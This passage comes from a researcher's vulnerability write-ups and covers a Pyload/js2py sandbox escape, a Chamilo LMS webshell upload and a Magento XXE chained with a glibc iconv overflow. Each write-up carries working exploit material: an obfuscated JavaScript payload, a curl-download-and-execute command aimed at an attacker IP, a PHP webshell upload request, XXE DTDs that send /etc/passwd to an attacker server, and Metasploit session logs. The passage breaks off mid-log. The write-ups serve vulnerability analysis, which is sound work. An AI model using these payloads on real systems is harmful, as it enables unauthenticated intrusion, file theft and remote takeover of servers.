jheysel-r7 (166)
Last Login: November 13, 2024
jheysel-r7's Latest (20) Contributions
Technical Analysis
Pyload is an open-source download manager designed to automate file downloads from various online sources. CVE-2024-39205 is a remote
code execution vulnerability in Pyload (<=0.5.0b3.dev85) which can’t be talked about without CVE-2024-28397. CVE-2024-28397 is a sandbox escape vulnerability in js2py (<=0.74). Pyload is vulnerable because it exposes the vulnerable js2py functionality on its /flash/addcrypted2
API endpoint. So they’re essentially the same vulnerability, one is the original vulnerability in the package (CVE-2024-28397) and the other is the vulnerable package in an application being used in a vulnerable way (CVE-2024-39205). For a deeper dive on how the sandbox escape works checkout the AKB Article.
What makes this Pyload nicely exploitable is that the vulnerable endpoint, /flash/addcrypted2
, was designed to only accept connections from localhost. However, by manipulating the HOST header (and setting it manually to 127.0.0.1:9666
) we can bypass this restriction in order to access the API to achieve unauthenticatecd RCE.
If we spin up the following vulnerable Pyload docker container:
docker run -d \ --name=pyload-ng \ -e PUID=1000 \ -e PGID=1000 \ -e TZ=Etc/UTC \ -p 8000:8000 \ -p 9666:9666 \ --restart unless-stopped \ lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
And then if we send the following POST request:
POST /flash/addcrypted2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.2792.79 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: 3151 crypted=MQ%3d%3d&jk=let%20gn_vuk%20%3d%20String.fromCharCode%28%20%200x63%2c%20117%2c%20114%2c%20108%2c%200x20%2c%200x2d%2c%200x73%2c%20111%2c%20040%2c%20056%2c%20057%2c%200x66%2c%200x42%2c%200x54%2c%200111%2c%200x79%2c%20110%2c%2099%2c%20108%2c%20040%2c%20104%2c%20116%2c%200164%2c%200160%2c%20072%2c%20057%2c%2047%2c%200x31%2c%2055%2c%200x32%2c%200x2e%2c%2049%2c%200x36%2c%200x2e%2c%20061%2c%200x39%2c%2057%2c%2046%2c%20061%2c%200x3a%2c%200x38%2c%20060%2c%2056%2c%200x30%2c%20057%2c%2056%2c%2081%2c%20118%2c%2066%2c%200125%2c%200x50%2c%200x32%2c%20115%2c%200125%2c%200105%2c%200x6d%2c%200x73%2c%200161%2c%2055%2c%20114%2c%200x5f%2c%200172%2c%200x65%2c%200110%2c%200x4b%2c%2057%2c%200x41%2c%2059%2c%2032%2c%200x63%2c%20104%2c%200x6d%2c%200157%2c%20100%2c%2032%2c%200x2b%2c%200x78%2c%200x20%2c%2046%2c%20057%2c%200146%2c%2066%2c%200124%2c%200111%2c%200171%2c%200x6e%2c%200x63%2c%20108%2c%2059%2c%2032%2c%20056%2c%200x2f%2c%200x66%2c%200x42%2c%200124%2c%200x49%2c%20121%2c%200x6e%2c%2099%2c%200154%2c%2032%2c%20046%20%29%0alet%20e_HN%2c%20hnktIzX%2c%20lLvLEoCSOI%0alet%20aCfc8WvqK%2c%20hOq75PVaOuLE%0a%0as5YzR%20%3d%20String.fromCharCode%28%20%200x5f%2c%200137%2c%200x62%2c%2097%2c%200163%2c%200145%2c%200x5f%2c%200x5f%20%29%0asxNn9E7%20%3d%20String.fromCharCode%28%20%200137%2c%200137%2c%200147%2c%20101%2c%200x74%2c%200141%2c%200x74%2c%200164%2c%20114%2c%200151%2c%200142%2c%20117%2c%200164%2c%20101%2c%200x5f%2c%200137%20%29%0ae_HN%20%3d%20Object.getOwnPropertyNames%28%7b%7d%29%0ahnktIzX%20%3d%20e_HN%5bsxNn9E7%5d%0alLvLEoCSOI%20%3d%20hnktIzX%28String.fromCharCode%28%20%2095%2c%200137%2c%200x67%2c%200x65%2c%20116%2c%200x61%2c%200164%2c%200164%2c%200x72%2c%20105%2c%200142%2c%20117%2c%20116%2c%20101%2c%200x5f%2c%200137%20%29%29%0ahOq75PVaOuLE%20%3d%20lLvLEoCSOI%28String.fromCharCode%28%20%2095%2c%200137%2c%200143%2c%200154%2c%2097%2c%20115%2c%200163%2c%2095%2c%2095%20%29%29%5bs5YzR%5d%0aaCfc8WvqK%20%3d%20hOq75PVaOuLE%5bsxNn9E7%5d%0acF_EUy%20%3d%20String.fromCharCode%28%20%2095%2c%200x5f%2c%200163%2c%200165%2c%200142%2c%200143%2c%200x6c%2c%2097%2c%20115%2c%200163%2c%200x65%2c%200x73%2c%2095%2c%200x5f%20%29%3b%0a%0afunction%20nNmzXJ4%28hrx%29%20%7b%0a%20%20%20%20let%20ulg4%3b%0a%20%20%20%20for%28let%20i57HuIp%20in%20hrx%5bcF_EUy%5d%28%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20u5QFJXSf%20%3d%20hrx%5bcF_EUy%5d%28%29%5bi57HuIp%5d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__module__%20%3d%3d%20unescape%28%22%2573%2575%2562%2570%2572%22%20%2b%20%22%256f%2563%2565%2573%2573%22%29%20%26%26%20u5QFJXSf.__name__%20%3d%3d%20String.fromCharCode%28%20%2080%2c%200x6f%2c%200160%2c%20101%2c%200x6e%20%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20u5QFJXSf%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20if%28u5QFJXSf.__name__%20%21%3d%20String.fromCharCode%28%20%20116%2c%200x79%2c%20112%2c%200145%20%29%20%26%26%20%28ulg4%20%3d%20nNmzXJ4%28u5QFJXSf%29%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20return%20ulg4%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%7d%0a%0alLvLEoCSOI%20%3d%20nNmzXJ4%28hOq75PVaOuLE%29%28gn_vuk%2c%20-1%2c%20null%2c%20-1%2c%20-1%2c%20-1%2c%20null%2c%20null%2c%20true%29.communicate%28%29%0a
With a listener setup, we will receive a call back from our payload.
Lets analyze the contents of the POST request. We can see we trick the API into processing our request by setting the Host header: Host: 127.0.0.1:9666
. The POST parameter crypted
is just a random 4 characters base64 encoded, quite inconsequential. The jk
parameter contains the javascript payload (which technically exploits CVE-2024-28397) which has been obfuscated as well as URL encoded.
The plain text version of the payload is as follows (taken from CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py::
let cmd = "curl -so ./qOjRpLcmT http://172.16.199.1:8080/8QvBUP2sUEmsq7r_zeHK9A; chmod +x ./qOjRpLcmT; ./qOjRpLcmT & " let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) n11
Again, for a deeper dive into what’s going on in the javascript above check out CVE-2024-28397.
Attacker Value and Exploitability
This vulnerability is pretty easy to exploit, requires no authentication and is vulnerable in it’s default configuration. Pyload has 3.3k stars on github meaning that the plugin is being used in some capacity. Added context: I decided to give the attacker rating (3/5), one less than the rating I gave for the js2py sandbox escape CVE-2024-28397, because this vulnerability is patched and the value it can provide to attackers is limited to the Pyload application. The js2py bug is not patched and could provide attackers value in many other applications the library is used in.
Metasploit Module in Action
msf6 > use linux/http/pyload_js2py_cve_2024_39205 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 rhost => 127.0.0.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 lhost => 172.16.199.1 msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 9666 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI / yes Base path URIPATH no The URI to use for this exploit (default is random) VHOST no HTTP server virtual host When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. SRVPORT 8080 yes The local port to listen on. Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces LHOST 172.16.199.1 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Unix Command View the full module info with the info, or info -d command. msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Successfully tested command injection. [*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp [*] Sending stage (3045380 bytes) to 172.16.199.1 [*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800 meterpreter > getruid [-] Unknown command: getruid. Did you mean getuid? Run the help command for more details. meterpreter > getuid Server username: abc meterpreter > sysinfo Computer : 172.17.0.2 OS : (Linux 6.10.11-linuxkit) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter >
Technical Analysis
Js2py is JavaScript to Python Translator & JavaScript interpreter written in 100% pure Python. It’s described as an implementation of JavaScript core in python. There exists a sandbox escape vulnerability in versions of js2py <= 0.74. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape the sandbox and execute arbitrary commands on the host. At the time of writing no patch has been merged into the main branch of the project, although there is a PR up. Version 0.74 is the latest version of js2py which was released Nov 6, 2022.
If we take a look at the proposed one line patch we can see the issue is quite apparent:
The method getOwnPropertyNames
is supposed to return a list of the object’s own keys however it mistakenly returns a reference to the object itself. With knowledge we can analyze the PoC and see how this bug allows for RCE. The following is a javascript payload an attacker would send to a vulnerable endpoint to be parsed by js2py:
object = Object.getOwnPropertyNames({}) // [1] attribute = object.__getattribute__ // [2] n11 = attribute("__getattribute__") // [3] obj = n11("__class__").__base__ // [4]
- [1]:
Object.getOwnPropertyNames({})
we know from the brief patch analysis incorrectly returns a Python object instead of a list of property names, causing unexpected behavior in subsequent introspection.
- [2]
.__getattribute__
is a special method that allows you to customize the attribute access behavior for an object. It is called whenever an attribute is accessed on an object, regardless of whether the attribute exists or not. This line stores the__getattribute__
method of the object in variableattribute
.
- [3] This line calls the
__getattribute__
method (stored inattribute
) with the argument__getattribute__
. This retrieves the__getattribute__
method from the Python object and assigns it ton11
. If python object introspection reminds you of the movie inception, that’s okay.
- [4] Now we have a function
n11
which we can use to access the__class__
attribute of the object and then the__base__
attribute of its class. And with this in place now we can do some damage.
We can see how the PoC then takes that object and sends it off to the function findpopen(o)
.
function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
This function iterates through all of the object’s subclasses in order to find subprocess
and its corresponding Popen
function. Now with a reference to Python’s
Popen we can send arbitrary commands to the target, remotely, without authentication, directly from javascript. Very cool. The full PoC can be found here.
Attacker Value and Exploitability
Js2py is just a python package and in order to be exploitable needs to be used by an application in a way that exposes the vulnerable API functionality to attackers. This makes things interesting – it’s not technically vulnerable by default but at the same time it’s a bit harder to determine where vulnerable instances of js2py could be lurking. The github repo says the package is used by 15,623. Seeing as the vulnerability is still unpatched I’d say this is fairly useful to attackers for a vulnerability in a python package. It’s also quite easy to exploit if the application is using js2py in a vulnerable configuration.
Related – CVE-2024-39205
This CVE is for Pyload, a python download manager which incorrectly exposes js2py making it vulnerable to this javascript sandbox escape. For more information on how this can be exploited check out the AKB article.
Technical Analysis
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 a webshell can be uploaded via the bigload.php
endpoint. If the GET request parameter action
is set to post-unsupported
file extension checks are skipped allowing for attacker controlled .php
files to be uploaded to: /main/inc/lib/javascript/bigupload/files/
if the /files/
directory already exists. Note that by default the directory does not exist
Here we can see the vulnerable part of the BigUploadResponse
class:
class BigUploadResponse { ... public function postUnsupported() { $name = $_FILES['bigUploadFile']['name']; // User supplied file name is saved without sanitization $size = $_FILES['bigUploadFile']['size']; $tempName = $_FILES['bigUploadFile']['tmp_name']; if (filesize($tempName) > $this->maxSize) { return get_lang('UplFileTooBig'); } if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) { // Moved to user accessible location return get_lang('FileUploadSucces'); } else { return get_lang('UplUnableToSaveFile'); } } ... }
We can see that with no proper sanitization the user supplied file name in $_FILES['bigUploadFile']['name']
is saved into the $name
variable. It is then used in the function move_uploaded_file
which saves the file to /main/inc/lib/javascript/bigupload/files
which is accessible without authentication, making it quite simple to upload and execute a malicious file.
The following POST request can be sent to a vulnerable target to upload a PHP file that will run the id
command and print it’s output to the page
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (iPad; CPU OS 17_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Mobile/15E148 Safari/604.1 Content-Type: multipart/form-data; boundary=---------------------------500194496186359461379327750601 Content-Length: 211 -----------------------------500194496186359461379327750601 Content-Disposition: form-data; name="bigUploadFile"; filename="rce.php" <?php system("id"); ?> -----------------------------500194496186359461379327750601--
The following GET request will execute the file
GET /main/inc/lib/javascript/bigupload/files/rce.php HTTP/1.1 Host: 127.0.0.1:8080
Attacker Value and Exploitability
This vulnerability is easy to exploit without authentication however as mentioned the /files
directory is not present by default and the vulnerability is not exploitable until the application creates it, which does bring down the exploitability rating.
Metasploit Module in Action
msf6 exploit(linux/http/chamilo_bigupload_webshell) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable. [+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully). [*] Sending stage (40004 bytes) to 172.16.199.1 [+] Deleted QLeFdD0F [+] Deleted oWLZIOMtZMAhYo.php [*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:53532) at 2024-11-13 15:40:15 -0800 meterpreter > getuid Server username: www-data meterpreter > sysinfo Computer : 6b332bda60bb OS : Linux 6b332bda60bb 6.10.11-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Oct 3 10:19:48 UTC 2024 x86_64 Meterpreter : php/linux meterpreter >
Technical Analysis
Note: This write up will focus on the impact that CVE-2024-34102 can have when combined with CVE-2024-2961 and how the two bugs can be used to achieve RCE.
This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) allows for unauthenticated Remote Code Execution on Magento and Adobe Commerce if the PHP and glibc versions are also vulnerable:
Vulnerable Magento and Adobe Commerce versions:
- 2.4.7 and earlier
- 2.4.6-p5 and earlier
- 2.4.5-p7 and earlier
- 2.4.4-p8 and earlier
Vulnerable PHP versions:
- From PHP 7.0.0 (2015) to 8.3.7 (2024)
Vulnerable iconv() function in the GNU C Library:
- 2.39 and earlier though they have backported this patch.
CVE-2024-34102
CVE-2024-34102 is an XML External Entity (XXE) Attack which results in the attacker being able to read arbitrary files off the system. The vulnerability stems from the attacker being able to instantiate a SimpleXMLElement
class through unsafe deserialization of a JSON blob which in turn allows external entities to be resolved. The SimpleXMLElement
class is instantiated by sending a POST request to the estimate-shipping-methods
endpoint. Below we can see the XXE attack in motion by observing the data
key value pair. The value of the data
key is specially crafted XML which has a SYSTEM identifier which calls out to an attacker controller IP address.
POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 Content-Type: application/json Content-Length: 370 { "address": { "Tnqccv": "rhkicf", "totalsCollector": { "collectorList": { "totalCollector": { "sourceData": { "data": "<?xml version='1.0' ?><!DOCTYPE lsdr[ <!ELEMENT rafuie ANY > <!ENTITY % xnidce SYSTEM 'http://172.16.199.130:8080/lytnb.dtd'> %xnidce; %txlbmju; ]> <r>&elrz;</r>", "options": 12345678 } } } } } }
Before sending the above POST request the attacker starts an HTTP server on the endpoint specified above: http://172.16.199.130:8080/
and hosts the following .dtd
file which the above SYSTEM identifier calls out to, retrieves and parses. This file contains two SYSTEM identifiers and is where the arbitrary file read occurs. The first SYSTEM identifier is a PHP filter which reads the contents of /etc/passwd
and base64 encodes the file contents and then saves that data to a variable in the .dtd file. Then the second SYSTEM identifier sends the saved base64 encoded file contents as a GET request parameter to the attacker controlled HTTP server:
<!ENTITY % jywoefug SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % txlbmju "<!ENTITY elrz SYSTEM 'http://172.16.199.130:8080/?bpapyj=%jywoefug;'>">
The attacker then parses the inbound GET request, base64 decodes the contents of /etc/passwd
and now has successfully exploited the XXE to be able to read arbitrary files off the target host.
CVE-2024-2961
One might ask, how can you obtain RCE from an Arbitrary File Read? Enter CVE-2024-2961, which is a buffer overflow in the glibc. One might also ask, how can you overflow a buffer in glibc with an arbitrary file read? The answer is PHP Filters.
PHP Filters are an interesting concept that have been explored by security researchers in recent years. There are a number of fascinating things that can be accomplished by abusing them from an attacker’s perspective. PHP Filters provides a way to apply transformations to a stream before it is returned. The syntax:
php://filter/[filters...]/resource=[resource]
PHP Filters allow you to convert the stream to base64 as seen above, they also allow you to convert the stream from one character set to another:
php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd
When PHP converts from one charset to another, it uses iconv, an API to convert characters in input buffer using conversion descriptor to output buffer. On Linux this API is implemented by glibc.
The API is straightforward. First, you need to open a conversion descriptor, which specifies the input and output character sets.
iconv_t iconv_open(const char *tocode, const char *fromcode);
Next, you can use iconv() to convert the data from the input buffer (inbuf) to the desired character set, storing the result in the output buffer (outbuf).
size_t iconv(iconv_t cd, char **restrict inbuf, size_t *restrict inbytesleft, char **restrict outbuf, size_t *restrict outbytesleft);
he caller is responsible for managing the buffers. If the output buffer is too small, iconv() will return an error, and you can reallocate outbuf
and call iconv()
again to continue the conversion. The function guarantees that it will never read more than inbytesleft
bytes from inbuf
or write more than outbytesleft
bytes to outbuf
. Spoiler alert, the function failed to keep that guarantee and CVE-2024-2961 was born. CVE-2024-2961 is an Out-of-bound write vulnerability which occurs when converting to ISO-2022-CN-EXT.
ISO-2022-CN-EXT is a collection of charsets and when it needs to encode a character it chooses the appropriate charset and that emits an escape sequence to indicate that the decoder should switch that said charset
The following code handles the generation of these escape sequences. It consists of three if blocks, each writing different escape sequences to the outbuf
(pointed to by outptr
). The first if block [1] includes a check to ensure that the output buffer can accommodate 4 characters. However, the other two if blocks [2] and [3] do not perform such a check. As a result, the escape sequences could end up being written past the bounds of the buffer.
// iconvdata/iso-2022-cn-ext.c /* See whether we have to emit an escape sequence. */ if (set != used) { /* First see whether we announced that we use this character set. */ if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1] { const char *escseq; if (outptr + 4 > outend) // <-------------------- BOUND CHECK { result = __GCONV_FULL_OUTPUT; break; } assert(used >= 1 && used <= 4); escseq = ")A\0\0)G)E" + (used - 1) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SO_ann) | (used << 8); } else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2] { const char *escseq; // <-------------------- NO BOUND CHECK assert(used == CNS11643_2_set); /* XXX */ escseq = "*H"; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS2_ann) | (used << 8); } else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3] { const char *escseq; // <-------------------- NO BOUND CHECK assert((used >> 5) >= 3 && (used >> 5) <= 7); escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS3_ann) | (used << 8); } }
To trigger the bug, we need to force iconv()
to generate an escape sequence near the end of the output buffer. This can be done by using uncommon characters like 劄, 䂚 峛, or 湿. This leads to an overflow of 1 to 3 bytes, with the following values:
- $*H [24 2A 48]
- $+I [24 2B 49]
- $+J [24 2B 4A]
- $+K [24 2B 4B]
- $+L [24 2B 4C]
- $+M [24 2B 4D]
Now, to make use of this to obtain RCE the idea is to use this single-byte buffer overflow to modify the LSB of the pointer to a free chunk, in order to get control over a free list. To do this we have to send our payload and the necessary data to set up the heap all in one PHP filter. This is no simple task.
The PHP filter zlib.inflate
takes the stream passed to it and decompresses it. To do so, it allocates a buffer of 8 pages (0x8000 bytes) and inflates the stream into it. If the stream doesn’t fit into that space, it allocates more. This gives us lots of space to work with and opportunities to manipulate and pad the heap. Usually in PHP when a single HTTP request requests a file , PHP will create one bucket containing the entire HTTP response, which does not provide much wiggle room for heap grooming.
In order to fully understand how this works I highly suggest reading the work written by Charles Fol as I have glossed over some of the complexities. However to understand the 6 step process of how to set up the heap in order to exploit I will quote Charles as he explains it quite nicely:
Consider that we have managed to pad the heap by allocating lots of 0x100 chunks. We thus have, somewhere in memory, three contiguous free chunks A, B, and C, with A being head of FL[100]. A points to B, which points to C. We can allocate the 3 of them (step 2), and free them again (step 3). At this point, the free list is reversed: we have C→B→A. We then allocate again, but this time we put an arbitrary pointer 0x1122334455 at offset 48h of C (step 4). We free them again (step 5), and get the exact same state as in step 1, but this time with a small difference: at C+48h, we have an arbitrary pointer. We can now perform the overflow from chunk A, which shifts the pointer contained in B. It now points to C+48h, and as a result the free list is now B→C+48h→0x1122334455. With 3 more allocations, we can make PHP allocate at our arbitrary address.
Bringing Everything together
Now we see how we can achieve Write-What-Where with a single byte overflow. Impressive stuff. Although how can we use this to obtain RCE in Magneto by combining this with our Arbitrary File Read?
First use the arbitrary file read download /proc/self/maps
which describes a region of contiguous virtual memory of a process. This will give us the address of PHP’s heap, it will also tell us the file path of glibc and where it resides in memory.
Then download the glibc binary, parse it and extract the offsets of some useful gadgets that will help us obtain RCE. Those include emalloc()
free()
and erealloc()
. And with these we can construct a single PHP filter that when sent to the target host using the XXE technique will execute arbitrary code.
What’s also impressive is the size of the single POST request required to deliver the following payload:
curl -so ./wYcxFcxNwr http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./wYcxFcxNwr; ./wYcxFcxNwr && kill -9 $PPID
POST /rest/V1/guest-carts/NRenBcmDDNHVEawkvJzamLAPmZifTosC/estimate-shipping-methods HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 Content-Type: application/json Content-Length: 2020 {"address":{"totalsReader":{"collectorList":{"totalCollector":{"sourceData":{"data":"<?xml version='1.0' ?><!DOCTYPE rcqsl[ <!ELEMENT nbdyzy ANY > <!ENTITY % kzkommbe SYSTEM \"http://172.16.199.130:8080/muziyj/cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS96bGliLmluZmxhdGUvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LlVURi04LklTTy0yMDIyLUNOLUVYVC9jb252ZXJ0LnF1b3RlZC1wcmludGFibGUtZGVjb2RlL2NvbnZlcnQuaWNvbnYubGF0aW4xLmxhdGluMS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGUzdlhzZS9KTmxHMmhMWDNPWXNZMzYvVUNwMWFkZkRvbHZTMHVkb2NacVdkT1p0T2FIMy9ZdnRIbzQrWDVlYU5BdllURGZmWkg5V0hPSzlTK3RweEwweVRBVC93U1l6dDMzSHFyVlpxek5Ub0swSFRkcm9XT1JEUW9iWnhuWHZNMDdLcFJ1dE82V1pwbnI2alpLbEFRTWZraU92SzY0cDJlMG1HUHhYYk9pVTFiNktNQUg0Tk0wN1YzbjJzOVJUa3FFdjFqUHY2bzMrYS9mendNWE45NnRycWxhL2o4dnQvVmYyUHI3Mm9rcno3MHU4L0N3UlA3bWNuNElCLzkyMjl2M3k2NFM0WmZsdnVhMlRXemV5ZFY3OTY3N1Y5OVhydnRFdkhvMWZlRHR0ZnQrNzE4LzgvcXUvdG4vWi9uLzJrN1R6NHphcy85ZmY1YS9ZVDcrM2o3UjNxL21mRy9BMVpaUGYrNjljVjY2TnIvMFhrTDcxbmQvMzZYcnY5Y1ovMXYzN2J1aS91NjhleXU5dXV2LzE1KzRuMy8ycTdxZHR0di8rNnRTN3cxZC9nZXBYanRXdS9oKys5LzZ2OXk4L1AyMDlHeTk5LzlyMXF2OXpPOTllZm5QcjNablZlZnVudDE0K3phK3RlbnIrMy9WZk5sL1Bubno1ZFlqLzcvdStWOVllK0pjZUg2cjM4L3ZITSs5cjlZbVh2czZ2cjN0MnV6THZlZCs4M2IzMUI5bVBuZncrOGQ5aXVueGovSzI1Ky90L1VmLy9zZnRjVmI3cnEvbkp4ZnU3dmI0dmZ0WDI4N3FieS94NkJjRnUyY1YxMXpOS1lwVDJyZzVKbTN0VC8veTljNVRnemZpME5EMjJVa2s5bnJEMHVkMXBGNmFVOUFRc09WN29jbTNZeHF0OTJtcWZMcFhvQ2l0cytkL1RvTHQ0cVY2MHp1V1BKZndLS2VaNExTa2E3WmR0K2kxQVQ5UHpQaUYreHhEbGxvMjA5MTZyZWJQUlJtdlNQZ0E4TjVyaW41RWl1L1hvamVhYUx5bDhDU1MvQm92L0VEYU9vMXh1UEczVjYvT0xIci9oQWdkekVqYWxicmlYM3B3cE4vQ0kvR3RDakFVMXVRQy9iUGszSU9MZGNkbmV0ZEdxdjZxUmtBbVliN04wNlpVYm03dGMzM3Q3V3lOYVpLRU1vazc5Y3UvU0l6KzNZNDNuMzNTS1RPNTlJRUtwa3NuV0I1Y2lSNzF2ZXVPdVpUK1AvK1AzcC9QcmZEK1ZQQ3duMkViRHB3SlpybTQ2SGV0WDRuNjZiRW1FWDRXTEJSOENxeTFHbjVjSTFQOXJxL2c1TStwa2crRkViQUE9PQ==\"> %kzkommbe; %dirpg; ]> <r>&tpdgfd;</r>","options":524290}}}}}}
The above request isn’t tiny by any means but it’s not suspiciously large (it’s not going to hit any reasonable length limitation) and considering that single request is
padding the heap, setting up the free list, and finally getting code execution. That’s pretty great. The high reliability of the exploit should also be mentioned. You can run this exploit (or the metasploit module if you choose) over and over again and you’ll get a session every time. It’s quite stable and has no negative side effects on the target.
Attacker Value & Exploitability
There are a number of exploit conditions that need to be met in order for RCE vuln combo to work correctly. You need Magento, PHP and glibc all to be unpatched. If one has received a patch for this chain it won’t work. In addition you need to ensure that the data wrapper and the filter wrapper both are configured to work with PHP filters and that the zlib extension is enabled. For me these reasons bring down the exploitability rating a fair bit. However Magento / Adobe Commerce is a pretty popular application with 140,000 installations on the internet and if the target is vulnerable, due to the high reliability of the exploit, you have a sure shot at establishing a session on the target host without needing credentials which contributes to the higher Attacker Value.
Metasploit Module in Action
msf6 exploit(linux/http/magento_xxe_to_rce) > run [*] Command to run on remote host: curl -so ./WcyjzEOpnb http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./WcyjzEOpnb; ./WcyjzEOpnb & [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. [*] Fetch handler listening on 172.16.199.130:8080 [*] HTTP server started msf6 exploit(linux/http/magento_xxe_to_rce) > [*] Adding resource /7IH_n64ep-e10j3LFxxxxg [*] Started reverse TCP handler on 172.16.199.130:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using URL: http://172.16.199.130:8080/ [*] Server started [*] module setup [*] Sending XXE request [*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L2V0Yy9wYXNzd2Q= [*] Attempting to download /etc/passwd [+] Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful. [*] Sending XXE request [*] Filter path being sent: 